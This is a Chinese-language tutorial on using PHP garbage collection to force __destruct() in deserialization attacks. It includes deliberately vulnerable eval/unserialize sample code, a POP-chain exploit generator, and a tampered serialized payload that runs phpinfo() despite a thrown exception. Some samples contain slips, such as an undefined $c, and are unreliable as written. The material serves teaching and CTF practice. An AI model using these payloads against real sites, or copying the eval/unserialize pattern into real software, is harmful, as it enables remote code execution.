圖文詳解PHP中GC回收機制的利用
前言
在前面講魔術方法時就提到過一個問題,__destruct()無論如何都會被觸發(fā),但是前提是必須得完成程序的開始與結束,但是如果程序走了一半,突然報錯,那么__destruct()不會觸發(fā)了,那如果又必須要__destruct()觸發(fā)又得怎么搞呢?
這里就要提到一個垃圾回收機制---GC回收?。?/p>
簡單鋪墊
先看看這個簡單的序列化,一定要先思考再看后面的答案
<?php highlight_file(__FILE__); class errorr{ public $rce; public function __destruct(){ eval($rce); } } $a = $_GET["a"]; unserialize($a); ?>
很簡單的一個反序列化,想辦法控制$rce這個變量就可以達到命令執(zhí)行的目的。
構造exp
<?php class errorr{ public $rce = "phpinfo();"; } $a = new errorr(); echo urlencode(serialize($a)); ?>
如果你看完了我之前寫的序列化與反序列化基礎篇就只能說這個是非常簡單了。
這里是因為可以用到__destruct()方法
<?php highlight_file(__FILE__); class errorr{ public $rce; public function __destruct(){ eval($rce); } } $a = $_GET["a"]; unserialize($a); throw new Exception("???"); ?>
如果是這樣的話呢?不會的話也不用著急搞懂,我們后面慢慢說。
初識GC
PHP Garbage Collection簡稱GC,又名垃圾回收,在PHP中使用引用計數(shù)和回收周期來自動管理內存對象的。
垃圾,顧名思義就是一些沒有用的東西。在這里指的是一些數(shù)據(jù)或者說是變量在進行某些操作后被置為空(NULL)或者是沒有地址(指針)的指向,這種數(shù)據(jù)一旦被當作垃圾回收后就相當于把一個程序的結尾給劃上了句號,那么就不會出現(xiàn)無法調用__destruct()方法了。想知道原理細節(jié)的小伙伴可以直接看PHP官方的解答:PHP: 回收周期(Collecting Cycles) - Manual
那接下來就演示用代碼演示GC的實際工作。
<?php highlight_file(__FILE__); error_reporting(0); class errorr{ public $num; public function __construct($num) { $this->num = $num; echo $this->num."__construct"."</br>"; } public function __destruct(){ echo $this->num."__destruct()"."</br>"; } } new errorr(1); $a = new errorr(2); $b = new errorr(3); ?>
可以猜一猜結果會是什么。
謝謝有被吃驚到(雖然我是已經(jīng)知道結果的),new了一個errorr對象,屁股還沒坐熱就__destruct()了。后面的兩個對象則是按部就班先創(chuàng)建完沒有操作了以后才結束的。區(qū)別就在于對象1沒有任何引用也沒有指向,在創(chuàng)建的那一刻就被當作垃圾回收了,從而觸發(fā)了__destruct()方法。
如果沒有指向可以,那如過在指向一個對象的中途忽然指向另一個,也就是舍棄了該對象又會怎么樣。
<?php highlight_file(__FILE__); error_reporting(0); class errorr{ public $num; public function __construct($num) { $this->num = $num; echo $this->num."__construct"."</br>"; } public function __destruct(){ echo $this->num."__destruct()"."</br>"; } } $c = array(new errorr(1),0); $c[0] = $c[1]; $a = new errorr(2); $b = new errorr(3); ?>
意料之中。
如果注銷$c[0] = $c[1]呢?
可以看到,正常創(chuàng)建,最后銷毀的。
小試牛刀
既然知道如何利用GC了,那就看一個例題。
<?php highlight_file(__FILE__); error_reporting(0); class errorr0{ public $num; public function __destruct(){ echo "hello __destruct"; echo $this->num; } } class errorr1{ public $err; public function __toString() { echo "hello __toString"; $this->err->flag(); } } class errorr2{ public $err; public function flag() { echo "hello __flag()"; eval($this->err); } } $a=unserialize($_GET['url']); throw new Exception("就這?"); ?>
自己胡思亂想出來的題目,太簡單也不要罵我哈哈哈??赡苓@個throw new Exception();有點突兀,這其實就是阻止__destruct()執(zhí)行的拋錯,學過java或者python的小伙伴應該知道。
這也算一個pop鏈子吧,先分析目的函數(shù),看來看去就是errorr2::flag(),往前推就是errorr1::__toString()會觸發(fā)這個函數(shù),而errorr0::__destruct()會觸發(fā)toString,思路理清就把鏈子構造出來為:首端 --> errorr0::__destruct() --> errorr1::__toString() --> errorr2::flag() -->尾巴。
exp為:
<?php error_reporting(0); class errorr0{ public $num; public function __construct() { $this->num = new errorr1(); } } class errorr1{ public $err; public function __construct() { $this->err = new errorr2(); } } class errorr2{ public $err = "phpinfo();"; } $a = new errorr0(); echo serialize($c); ?>
這個exp的構造有許多方法的,根據(jù)自己喜好來,不必和我一樣。
這就完了?或許有人迷惑了,如果完了那前面我說的都是在放屁,和pop沒區(qū)別,所以當然還沒完。如果沒有這句throw new Exception();就真的構造完了,但是有的話__destruct()是不會執(zhí)行的,而__destruct()不執(zhí)行這條鏈子根本就是堵死的,沒啥用。
重點來了,根據(jù)之前說的GC回收機制可以把一段數(shù)據(jù)當做垃圾回收,那不就可以執(zhí)行__destruct(),然后就有一個問題-------如何觸發(fā)GC回收機制?!!還記得,之前舉過的例子嗎?如過沒有如何東西指向一個對象,那個對象就會被當作垃圾回收。所以,我們先看修改后的exp
<?php error_reporting(0); class errorr0{ public $num; public function __construct() { $this->num = new errorr1(); } } class errorr1{ public $err; public function __construct() { $this->err = new errorr2(); } } class errorr2{ public $err = "phpinfo();"; } $a = new errorr0(); $c = array(0=>$a,1=>NULL); echo serialize($c); ?>
可以看出來,就加了一行代碼,就是
$c = array(0=>$a,1=>NULL);
把目標對象賦給鍵為0,鍵為1賦值為NULL。為什么要這么做,因為這樣操作后,得到的字符串為:
a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:1;N;}
可以自己試試。解釋一下這串字符。
第一個a為數(shù)組,2為數(shù)組中鍵有兩個 i = 0以及 i = 1
重點重點重點,雖然有兩個鍵i = 0對應的是我們目標對象,i = 1是NULL,如果這個時候我們做一件壞事,把i 本應該等于 1修改為 i = 0。那不就是把i = 0指向NULL了嗎?然后就實現(xiàn)了GC回收。所以最后我們修改后的字符串為:
a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:0;N;}
成功拿下??!這就是GC回收機制的利用,現(xiàn)在返回去看開始那個鋪墊我想你應該就懂了。
總結
因為講的GC回收機制并不算深入,只是談談如何利用,所以如果想要深入了解的還是得自己去百度查查別人寫的原理,另外就是GC回收機制的利用需要修改字符串中的數(shù)據(jù),如果phar反序列化+GC的話就還需要額外修改phar文件的簽名,如果遇到的話就需要在修改序列化字符串后再對其進行加密得到的數(shù)據(jù)替換原本的簽名。
到此這篇關于PHP中GC回收機制利用的文章就介紹到這了,更多相關PHP中GC回收機制內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
參考:淺析GC回收機制與phar反序列化 | Arsene.Tang
http://www.dbjr.com.cn/article/70851.htm
相關文章
2個自定義的PHP in_array 函數(shù),解決大量數(shù)據(jù)判斷in_array的效率問題
大家可能都用過in_array來判斷一個數(shù)據(jù)是否在一個數(shù)組中,一般我們的數(shù)組可能數(shù)據(jù)都比較小,對性能沒什么影響,所以也就不會太在意2014-04-04WordPress特定文章對搜索引擎隱藏或只允許搜索引擎查看
這篇文章主要介紹了WordPress特定文章對搜索引擎隱藏或只允許搜索引擎查看的方法,可以根據(jù)SEO的需要來進行調整,需要的朋友可以參考下2015-12-12PHP生成json和xml類型接口數(shù)據(jù)格式
在做數(shù)據(jù)接口時,我們通常要獲取第三方數(shù)據(jù)接口或者給第三方提供數(shù)據(jù)接口,而這些數(shù)據(jù)格式通常是以XML或者JSON格式傳輸,本文將介紹如何使用PHP生成XML格式數(shù)據(jù)供第三方調用以及如何獲取第三方提供的XML數(shù)據(jù)。2015-05-05php+mysql+ajax 局部刷新點贊/取消點贊功能(每個賬號只點贊一次)
這篇文章主要介紹了php+mysql+ajax 局部刷新點贊/取消點贊功能(每個賬號只點贊一次),本文通過實例代碼給大家介紹的非常詳細,對大家的學習或工作具有一定的參考借鑒價值,需要的朋友可以參考下2020-07-07PHP設計模式(七)組合模式Composite實例詳解【結構型】
這篇文章主要介紹了PHP設計模式:組合模式Composite,結合實例形式詳細分析了PHP組合模式Composite基本概念、功能、原理、用法及操作注意事項,需要的朋友可以參考下2020-05-05PHP實現(xiàn)簡單網(wǎng)站訪客統(tǒng)計的方法實例
這篇文章主要給大家介紹了關于PHP實現(xiàn)簡單網(wǎng)站訪客統(tǒng)計的相關資料,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2021-01-01